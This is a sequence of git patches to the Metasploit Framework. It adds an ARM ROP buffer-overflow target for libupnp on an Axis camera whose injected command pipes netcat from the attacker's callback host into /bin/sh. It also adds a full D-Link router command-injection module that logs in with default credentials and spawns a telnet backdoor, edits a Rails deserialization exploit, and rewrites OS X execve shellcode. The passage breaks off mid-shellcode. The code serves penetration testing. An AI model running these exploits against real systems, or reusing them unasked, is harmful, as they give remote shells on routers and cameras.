datastore['RAILSVERSION'] == 4 return "\x04\b" + "o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" + ":\x0E@instanceo" + @@ -183,7 +189,7 @@ def build_cookie ":\f@method:\vresult:" + "\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00" end - if datastore['RAILSVERSION'] == '3' + if datastore['RAILSVERSION'] == 3 return Rex::Text.encode_base64 "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + @@ -198,10 +204,10 @@ def build_cookie # Send the actual request # def exploit - if datastore['RAILSVERSION'] == '3' + if datastore['RAILSVERSION'] == 3 cookie = rails_3 - elsif datastore['RAILSVERSION'] == '4' - cookie = rails_4 + elsif datastore['RAILSVERSION'] == 4 + cookie = rails_4 end cookie_name = datastore['COOKIE_NAME'] @@ -233,7 +239,7 @@ def exploit # This prevents trying to send busted cookies with no name fail_with(Exploit::Failure::BadConfig, "No cookie found and no name given") end - print_status("Sending payload anyways! ;)") + print_warning("Sending payload anyways! ;)") end res = send_request_cgi({ From ac28dbe734697331bde9e49b96ba26fdd459ea7d Mon Sep 17 00:00:00 2001 From: joernchen of Phenoelit Date: Sun, 28 Jul 2013 19:44:44 +0200 Subject: [PATCH 072/454] Minor typo fix --- modules/exploits/multi/http/rails_secret_deserialization.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index d7ad2b1707cb9..0fe4612a0e8ee 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -239,7 +239,7 @@ def exploit # This prevents trying to send busted cookies with no name fail_with(Exploit::Failure::BadConfig, "No cookie found and no name given") end - print_warning("Sending payload anyways! ;)") + print_warning("Sending payload anyway! ;)") end res = send_request_cgi({ From 63940d438e72675f6c4a9912916575b978dcc129 Mon Sep 17 00:00:00 2001 From: Frederic Basse Date: Tue, 30 Jul 2013 01:56:10 +0200 Subject: [PATCH 073/454] add new target in libupnp_ssdp_overflow exploit : Axis Camera M1011 --- .../multi/upnp/libupnp_ssdp_overflow.rb | 123 +++++++++++++++++- 1 file changed, 122 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 9a16f031e4c02..d64a1c8f96c1f 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -25,7 +25,8 @@ def initialize(info = {}) 'Author' => [ 'hdm', # Exploit dev for Supermicro IPMI 'Alex Eubanks ', # Exploit dev for Supermicro IPMI - 'Richard Harman ' # Binaries, system info, testing for Supermicro IPMI + 'Richard Harman ', # Binaries, system info, testing for Supermicro IPMI + 'Frederic Basse ' # Exploit dev for Axis Camera M1011 ], 'License' => MSF_LICENSE, 'References' => @@ -90,6 +91,21 @@ def initialize(info = {}) # Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03) + } ], + [ "Axis Camera M1011 5.20.1 UPnP/1.4.1", { + + # The callback handles all target-specific settings + :callback => :target_axis_m1011_141, + + # This matches any line of the SSDP M-SEARCH response + :fingerprint => + /SERVER:\s*Linux\/2\.6\.31, UPnP\/1\.0, Portable SDK for UPnP devices\/1\.4\.1/mi + # + # SSDP response: + # Linux/2.6.31, UPnP/1.0, Portable SDK for UPnP devices/1.4.1 + # http://192.168.xx.xx:49152/rootdesc1.xml + # uuuid:Upnp-BasicDevice-1_0-00123456789A::upnp:rootdevice + } ], [ "Debug Target", { @@ -223,6 +239,111 @@ def target_supermicro_ipmi_131 end + # These devices are armv5tejl, run version 1.4.1 of libupnp, have random stacks, but no PIE on libc + def target_axis_m1011_141 + + # Create a fixed-size buffer for the payload + buffer = Rex::Text.rand_text_alpha(2000) + + # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char() + buffer[0,1] = '"' + buffer[1999,1] = '"' + + # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise + cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) + + # Start a listener + start_listener() + + # Figure out the port we picked + cbport = self.service.getsockname[2] + + # Initiate a callback connection + cmd = "sleep 1; /usr/bin/nc #{cbhost} #{cbport}|/bin/sh;exit;#" + buffer[1, cmd.length] = cmd + + # Mask to avoid forbidden bytes, popped into $r4 + buffer[284,4] = [0x0D0D0D0D].pack("V") + + # Move $r4 to $r0 + buffer[304,4] = [0x40093848].pack("V") + #MEMORY:40093848 MOV R0, R4 + #MEMORY:4009384C LDMFD SP!, {R4,PC} + + # Masked system() address (0x32FB9D83 + 0x0D0D0D0D = 0x4008AA90), popped into $r4 + buffer[308,4] = [0x32FB9D83].pack("V") + + # Set $r0 to system() address : $r0 = $r4 + $r0 + buffer[312,4] = [0x40093844].pack("V") + #MEMORY:40093844 ADD R4, R4, R0 + #MEMORY:40093848 MOV R0, R4 + #MEMORY:4009384C LDMFD SP!, {R4,PC} + + # Move $r0 to $r3 : system() address + buffer[320,4] = [0x400D65BC].pack("V") + #MEMORY:400D65BC MOV R3, R0 + #MEMORY:400D65C0 MOV R0, R3 + #MEMORY:400D65C4 ADD SP, SP, #0x10 + #MEMORY:400D65C8 LDMFD SP!, {R4,PC} + + # Move $r2 to $r0 : offset to buffer[-1] + buffer[344,4] = [0x400ADCDC].pack("V") + #MEMORY:400ADCDC MOV R0, R2 + #MEMORY:400ADCE0 ADD SP, SP, #8 + #MEMORY:400ADCE4 LDMFD SP!, {R4-R8,PC} + + # Negative offset to command str($r0 + 0xFFFFFEB2 = buffer[1]), popped into R4 + buffer[356,4] = [0xFFFFFEB2].pack("V") + + # Set $r0 to command str offset : $r0 = $r4 + $r0 + buffer[376,4] = [0x40093844].pack("V") + #MEMORY:40093844 ADD R4, R4, R0 + #MEMORY:40093848 MOV R0, R4 + #MEMORY:4009384C LDMFD SP!, {R4,PC} + + # Jump to system() function + buffer[384,4] = [0x4009FEA4].pack("V") + #MEMORY:4009FEA4 MOV PC, R3 + + return buffer +=begin + 00008000-0002b000 r-xp 00000000 1f:03 62 /bin/libupnp + 00032000-00033000 rwxp 00022000 1f:03 62 /bin/libupnp + 00033000-00055000 rwxp 00000000 00:00 0 [heap] + 40000000-4001d000 r-xp 00000000 1f:03 235 /lib/ld-2.9.so + 4001d000-4001f000 rwxp 00000000 00:00 0 + 40024000-40025000 r-xp 0001c000 1f:03 235 /lib/ld-2.9.so + 40025000-40026000 rwxp 0001d000 1f:03 235 /lib/ld-2.9.so + 40026000-4002e000 r-xp 00000000 1f:03 262 /lib/libparhand.so + 4002e000-40035000 ---p 00008000 1f:03 262 /lib/libparhand.so + 40035000-40036000 rwxp 00007000 1f:03 262 /lib/libparhand.so + 40036000-4004a000 r-xp 00000000 1f:03 263 /lib/libpthread-2.9.so + 4004a000-40051000 ---p 00014000 1f:03 263 /lib/libpthread-2.9.so + 40051000-40052000 r-xp 00013000 1f:03 263 /lib/libpthread-2.9.so + 40052000-40053000 rwxp 00014000 1f:03 263 /lib/libpthread-2.9.so + 40053000-40055000 rwxp 00000000 00:00 0 + 40055000-4016c000 r-xp 00000000 1f:03 239 /lib/libc-2.9.so + 4016c000-40173000 ---p 00117000 1f:03 239 /lib/libc-2.9.so + 40173000-40175000 r-xp 00116000 1f:03 239 /lib/libc-2.9.so + 40175000-40176000 rwxp 00118000 1f:03 239 /lib/libc-2.9.so + 40176000-40179000 rwxp 00000000 00:00 0 + 40179000-4017a000 ---p 00000000 00:00 0 + 4017a000-40979000 rwxp 00000000 00:00 0 + 40979000-4097a000 ---p 00000000 00:00 0 + 4097a000-41179000 rwxp 00000000 00:00 0 + 41179000-4117a000 ---p 00000000 00:00 0 + 4117a000-41979000 rwxp 00000000 00:00 0 + 41979000-4197a000 ---p 00000000 00:00 0 + 4197a000-42179000 rwxp 00000000 00:00 0 + 42179000-4217a000 ---p 00000000 00:00 0 + 4217a000-42979000 rwxp 00000000 00:00 0 + 42979000-4297a000 ---p 00000000 00:00 0 + 4297a000-43179000 rwxp 00000000 00:00 0 + bef4d000-bef62000 rw-p 00000000 00:00 0 [stack] +=end + + end + # Generate a buffer that provides a starting point for exploit development def target_debug buffer = Rex::Text.pattern_create(2000) From 5e1def26aa76f055f62431259533f5be191a02e1 Mon Sep 17 00:00:00 2001 From: Frederic Basse Date: Tue, 30 Jul 2013 09:54:33 +0200 Subject: [PATCH 074/454] remove Axis M1011 fingerprint, may not be specific enough to be used automatically. --- modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index d64a1c8f96c1f..97f973bf3ef0f 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -97,9 +97,9 @@ def initialize(info = {}) # The callback handles all target-specific settings :callback => :target_axis_m1011_141, - # This matches any line of the SSDP M-SEARCH response - :fingerprint => - /SERVER:\s*Linux\/2\.6\.31, UPnP\/1\.0, Portable SDK for UPnP devices\/1\.4\.1/mi + # This fingerprint may not be specific enough to be used automatically. + #:fingerprint => + # /SERVER:\s*Linux\/2\.6\.31, UPnP\/1\.0, Portable SDK for UPnP devices\/1\.4\.1/mi # # SSDP response: # Linux/2.6.31, UPnP/1.0, Portable SDK for UPnP devices/1.4.1 From 9180dd59fe296302e5b7d0d1d973d3b2c8732430 Mon Sep 17 00:00:00 2001 From: allfro Date: Tue, 30 Jul 2013 13:38:44 -0400 Subject: [PATCH 075/454] Patch for string encoding issues with `msgpack` Fixes an issue that causes exploits to fail if the PAYLOAD option is the last option to get marshalled in an MSFRPC dictionary. The patch adjusts the string's encoding to match the internal default encoding used by Ruby. Hence, making `fetch()` succeed. --- lib/msf/core/rpc/v10/service.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/rpc/v10/service.rb b/lib/msf/core/rpc/v10/service.rb index b72b807d47471..e802302220381 100644 --- a/lib/msf/core/rpc/v10/service.rb +++ b/lib/msf/core/rpc/v10/service.rb @@ -23,7 +23,7 @@ class Service attr_accessor :service, :srvhost, :srvport, :uri, :options attr_accessor :handlers, :default_handler, :tokens, :users, :framework - attr_accessor :dispatcher_timeout, :token_timeout, :debug + attr_accessor :dispatcher_timeout, :token_timeout, :debug, :str_encoding def initialize(framework, options={}) self.framework = framework @@ -36,6 +36,7 @@ def initialize(framework, options={}) :port => 3790 }.merge(options) + self.str_encoding = ''.encoding.name self.srvhost = self.options[:host] self.srvport = self.options[:port] self.uri = self.options[:uri] @@ -121,6 +122,8 @@ def process(req) raise ArgumentError, "Invalid Message Format" end + msg.map { |a| a.respond_to?("force_encoding")?a.force_encoding(self.str_encoding):a } + group, funct = msg.shift.split(".", 2) if not self.handlers[group] From 18c0f879fa521e79af497a439a1b14d2da519400 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 30 Jul 2013 21:31:53 -0500 Subject: [PATCH 076/454] More code coverage for msfcli_spec --- msfcli | 4 +- spec/msfcli_spec.rb | 127 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 129 insertions(+), 2 deletions(-) diff --git a/msfcli b/msfcli index 3cd0dfe032c51..23674498fa9c8 100755 --- a/msfcli +++ b/msfcli @@ -428,10 +428,10 @@ class Msfcli $stdout.puts("#{stat} #{code[1]}") else - $stderr.puts("Check failed: The state could not be determined.") + $stdout.puts("Check failed: The state could not be determined.") end rescue - $stderr.puts("Check failed: #{$!}") + $stdout.puts("Check failed: #{$!}") end end diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 5d941fcff9416..9c0f925ae43b9 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -24,6 +24,49 @@ def get_stdout(&block) end context "Class methods" do + context ".initialize" do + it "should give me the correct module name in key :module_name after object initialization" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:module_name].should eq('multi/handler') + end + + it "should give me the correct mode in key :mode after object initialization" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:mode].should eq('E') + end + + it "should give me the correct module parameters after object initialization" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:params].should eq(['payload=windows/meterpreter/reverse_tcp', 'lhost=127.0.0.1']) + end + + it "should give me an exploit name without the prefix 'exploit'" do + args = "exploit/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") + end + + it "should give me an exploit name without the prefix 'exploits'" do + args = "exploits/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") + end + + it "should set mode 's' (summary)" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp s" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:mode].should eq('s') + end + + it "should set mode 'h' (help) as default" do + args = "multi/handler" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:mode].should eq('h') + end + end context ".usage" do it "should see a help menu" do @@ -207,5 +250,89 @@ def get_stdout(&block) end end + context ".engage_mode" do + it "should show me the summary of module auxiliary/scanner/http/http_version" do + args = 'auxiliary/scanner/http/http_version s' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + + stdout.should =~ /Module: auxiliary\/scanner\/http\/http_version/ + end + + it "should show me the options of module auxiliary/scanner/http/http_version" do + args = 'auxiliary/scanner/http/http_version O' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + + stdout.should =~ /The target address range or CIDR identifier/ + end + + it "should show me the IDS options of module auxiliary/scanner/http/http_version" do + args = 'auxiliary/scanner/http/http_version I' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /Insert fake relative directories into the uri/ + end + + it "should show me the targets available for module windows/browser/ie_cbutton_uaf" do + args = "windows/browser/ie_cbutton_uaf T" + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /IE 8 on Windows 7/ + end + + it "should try to run the check function of an exploit" do + args = "windows/smb/ms08_067_netapi rhost=0.0.0.1 C" # Some BS IP so we can fail + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /failed/ + end + + it "should warn my auxiliary module isn't supported by mode 'p' (show payloads)" do + args = 'auxiliary/scanner/http/http_version p' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /This type of module does not support payloads/ + end + + it "should warn my auxiliary module isn't supported by mode 't' (show targets)" do + args = 'auxiliary/scanner/http/http_version t' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /This type of module does not support targets/ + end + + it "should warn my exploit module isn't supported by mode 'ac' (show actions)" do + args = 'windows/browser/ie_cbutton_uaf ac' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /This type of module does not support actions/ + end + end + end end \ No newline at end of file From af0046658b37ead21940ccc24d0c2e849c488769 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 31 Jul 2013 03:28:24 -0500 Subject: [PATCH 077/454] Change the way file is stored --- .../windows/fileformat/ms11_006_createsizeddibsection.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb index 1b7f3eb6bb00b..290c8d39b66a7 100644 --- a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb +++ b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb @@ -108,7 +108,7 @@ def initialize(info = {}) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']), - OptString.new('OUTPUTPATH', [ true, 'The output path to use.', Msf::Config.config_directory + "/data/exploits/"]), + OptString.new('OUTPUTPATH', [ true, 'The output path to use.', Msf::Config.config_directory + "/local/"]), ], self.class) end @@ -116,7 +116,10 @@ def exploit print_status("Creating '#{datastore['FILENAME']}' file ...") - out = ::File.expand_path(::File.join(datastore['OUTPUTPATH'], datastore['FILENAME'])) + fname = datastore['FILENAME'] + ltype = "exploit.fileformat.ms11_006" + out = store_local(ltype, nil, '', fname) + stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE) if (not stg) fail_with(Exploit::Failure::BadConfig, 'Unable to create output file') @@ -131,7 +134,7 @@ def exploit stg.close - print_status("Generated output file #{out}") + print_good("#{datastore['FILENAME']} created at #{out}") end From 8c47f1df2d9be7e9745510e01547bf0d25a3429c Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 31 Jul 2013 03:30:34 -0500 Subject: [PATCH 078/454] We don't need this option anymore --- .../windows/fileformat/ms11_006_createsizeddibsection.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb index 290c8d39b66a7..6f19032787a92 100644 --- a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb +++ b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb @@ -107,8 +107,7 @@ def initialize(info = {}) register_options( [ - OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']), - OptString.new('OUTPUTPATH', [ true, 'The output path to use.', Msf::Config.config_directory + "/local/"]), + OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']) ], self.class) end From 3c8bc6b5220419585e07ccd5426e11ea62787860 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 31 Jul 2013 04:37:36 -0500 Subject: [PATCH 079/454] More coverage for msfcli spec --- spec/msfcli_spec.rb | 49 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 9c0f925ae43b9..bc89d9df21b89 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -155,6 +155,23 @@ def get_stdout(&block) end context ".generate_whitelist" do + it "should generate a whitelist for linux/x86/shell/reverse_tcp with encoder x86/fnstenv_mov" do + args = "multi/handler payload=linux/x86/shell/reverse_tcp lhost=127.0.0.1 encoder=x86/fnstenv_mov E" + cli = Msfcli.new(args.split(' ')) + list = cli.generate_whitelist.map { |e| e.to_s } + answer = [ + /multi\/handler/, + /stages\/linux\/x86\/shell/, + /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/, + /encoders\/x86\/fnstenv_mov/, + /post\/.+/, + /encoders\/generic\/*/, + /nops\/.+/ + ].map { |e| e.to_s } + + list.should eq(answer) + end + it "should generate a whitelist for windows/meterpreter/reverse_tcp with default options" do args = 'multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E' cli = Msfcli.new(args.split(' ')) @@ -273,6 +290,17 @@ def get_stdout(&block) stdout.should =~ /The target address range or CIDR identifier/ end + it "should me the advanced options of module auxiliary/scanner/http/http_version" do + args = 'auxiliary/scanner/http/http_version A' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + + stdout.should =~ /UserAgent/ + end + it "should show me the IDS options of module auxiliary/scanner/http/http_version" do args = 'auxiliary/scanner/http/http_version I' stdout = get_stdout { @@ -293,6 +321,16 @@ def get_stdout(&block) stdout.should =~ /IE 8 on Windows 7/ end + it "should show me the payloads available for module windows/browser/ie_cbutton_uaf" do + args = "windows/browser/ie_cbutton_uaf P" + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /windows\/meterpreter\/reverse_tcp/ + end + it "should try to run the check function of an exploit" do args = "windows/smb/ms08_067_netapi rhost=0.0.0.1 C" # Some BS IP so we can fail stdout = get_stdout { @@ -332,6 +370,17 @@ def get_stdout(&block) } stdout.should =~ /This type of module does not support actions/ end + + it "should show actions available for module auxiliary/scanner/http/http_put" do + args = "auxiliary/scanner/http/http_put ac" + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /DELETE/ + end + end end From 6b514bb44a597c86939206e786edd4070f10d45d Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Wed, 31 Jul 2013 14:34:03 +0200 Subject: [PATCH 080/454] dir300 and 615 command injection telnet session --- .../linux/http/dlink_dir300_exec_telnet.rb | 210 ++++++++++++++++++ 1 file changed, 210 insertions(+) create mode 100644 modules/exploits/linux/http/dlink_dir300_exec_telnet.rb diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb new file mode 100644 index 0000000000000..001103f594b9b --- /dev/null +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -0,0 +1,210 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Auxiliary::CommandShell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Devices Unauthenticated Remote Command Execution', + 'Description' => %q{ + Different D-Link Routers are vulnerable to OS command injection via the web + interface. The vulnerability exists in tools_vct.xgi, which is accessible with + credentials. This module has been tested with the versions DIR-300 rev A v1.05 + and DIR-615 rev D v4.13. + Two target are included, first to start a telnetd service and establish a session over + it and second to run commands via the CMD target. There is no wget or tftp client to + upload an elf backdoor easily. + According to the vulnerability discoverer, more D-Link devices may affected. + }, + 'Author' => + [ + 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '92698' ], + [ 'EDB', '25024' ], + [ 'BID', '59405' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-014' ] + ], + 'DisclosureDate' => 'April 22 2013', + 'Privileged' => true, + 'Platform' => ['linux','unix'], + 'Payload' => + { + 'DisableNops' => true, + }, + 'Targets' => + [ + [ 'CMD', #all devices + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix' + } + ], + [ 'Telnet', #all devices - default target + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix' + } + ], + ], + 'DefaultTarget' => 1 + )) + + register_options( + [ + Opt::RPORT(80), #port of the webinterface + OptString.new('USERNAME',[ true, 'User to login with', 'admin']), + OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']), + + ], self.class) + end + + def exploit + user = datastore['USERNAME'] + + if datastore['PASSWORD'].nil? + pass = "" + else + pass = datastore['PASSWORD'] + end + + test_login(user, pass) + + if target.name =~ /CMD/ + exploit_cmd + else + exploit_telnet + end + end + + def test_login(user, pass) + print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") + + login_path = "/login.php" + + #valid login response includes the following + login_check = "\" + + begin + res = send_request_cgi({ + 'uri' => login_path, + 'method' => 'POST', + 'vars_post' => { + "ACTION_POST" => "LOGIN", + "LOGIN_USER" => "#{user}", + "LOGIN_PASSWD" => "#{pass}", + "login" => "+Log+In+" + } + }) + return if res.nil? + return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/) + return if (res.code == 404) + + if (res.body) =~ /#{login_check}/ + print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") + else + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + return + end + + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return + end + end + + def exploit_cmd + if not (datastore['CMD']) + fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") + end + cmd = "#{payload.encoded}" + res = request(cmd) + if (!res or res.code != 302 or res.headers['Server'].nil? or res.headers['Server'] !~ /Alpha_webserv/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + + print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state\n") + return + end + + def exploit_telnet + telnetport = rand(65535) + + vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") + + cmd = "telnetd -p #{telnetport}" + + #starting the telnetd gives no response + request(cmd) + + begin + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + + if sock + print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...") + add_socket(sock) + else + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + end + + print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}" + auth_info = { + :host => rhost, + :port => telnetport, + :sname => 'telnet', + :user => "", + :pass => "", + :source_type => "exploit", + :active => true + } + report_auth_info(auth_info) + merge_me = { + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => nil, + 'PASSWORD' => nil + } + start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) + rescue + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + end + return + end + + def request(cmd) + + uri = '/tools_vct.xgi' + + begin + res = send_request_cgi({ + 'uri' => uri, + 'vars_get' => { + 'set/runtime/switch/getlinktype' => "1", + 'set/runtime/diagnostic/pingIp' => "`#{cmd}`", + 'pingIP' => "" + }, + 'method' => 'GET', + }) + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return nil + end + end +end From 15906b76dbbda253068ff248b230a0c35b72a4ed Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Wed, 31 Jul 2013 14:36:51 +0200 Subject: [PATCH 081/454] dir300 and 615 command injection --- modules/exploits/linux/http/dlink_dir300_exec_telnet.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index 001103f594b9b..34695028f0d2d 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -40,7 +40,7 @@ def initialize(info = {}) [ 'BID', '59405' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-014' ] ], - 'DisclosureDate' => 'April 22 2013', + 'DisclosureDate' => 'Apr 22 2013', 'Privileged' => true, 'Platform' => ['linux','unix'], 'Payload' => From 592176137af10856a9d1c811e8a88f27ebf2f614 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 30 Jul 2013 14:40:39 -0500 Subject: [PATCH 082/454] Rewrite osx x64 cmd payload to accept args. [SeeRM #8260] --- modules/payloads/singles/osx/x64/exec.rb | 40 ++++++++++++++++-------- 1 file changed, 27 insertions(+), 13 deletions(-) diff --git a/modules/payloads/singles/osx/x64/exec.rb b/modules/payloads/singles/osx/x64/exec.rb index c6ddc09c94266..00564115a5b03 100644 --- a/modules/payloads/singles/osx/x64/exec.rb +++ b/modules/payloads/singles/osx/x64/exec.rb @@ -16,33 +16,47 @@ def initialize(info = {}) super(merge_info(info, 'Name' => 'OS X x64 Execute Command', 'Description' => 'Execute an arbitrary command', - 'Author' => 'argp ', + 'Author' => [ 'argp ', + 'joev ' ], 'License' => MSF_LICENSE, 'Platform' => 'osx', 'Arch' => ARCH_X86_64 )) # exec payload options - register_options( - [ - OptString.new('CMD', [ true, "The command string to execute" ]), + register_options([ + OptString.new('CMD', [ true, "The command string to execute" ]) ], self.class) end # build the shellcode payload dynamically based on the user-provided CMD def generate - cmd = (datastore['CMD'] || '') << "\x00" - call = "\xe8" + [cmd.length].pack('V') + cmd_str = datastore['CMD'] || '' + # Split the cmd string into arg chunks + cmd_parts = Shellwords.shellsplit(cmd_str) + cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact + arg_str = cmd_parts.map { |a| "#{a}\x00" }.join + call = "\xe8" + [arg_str.length].pack('V') payload = "\x48\x31\xc0" + # xor rax, rax - "\x48\xb8\x3b\x00\x00\x02\x00\x00\x00\x00" + # mov rax, 0x200003b (execve) call + # call CMD.len - cmd + # CMD - "\x48\x8b\x3c\x24" + # mov rdi, [rsp] - "\x48\x31\xd2" + # xor rdx, rdx - "\x52" + # push rdx - "\x57" + # push 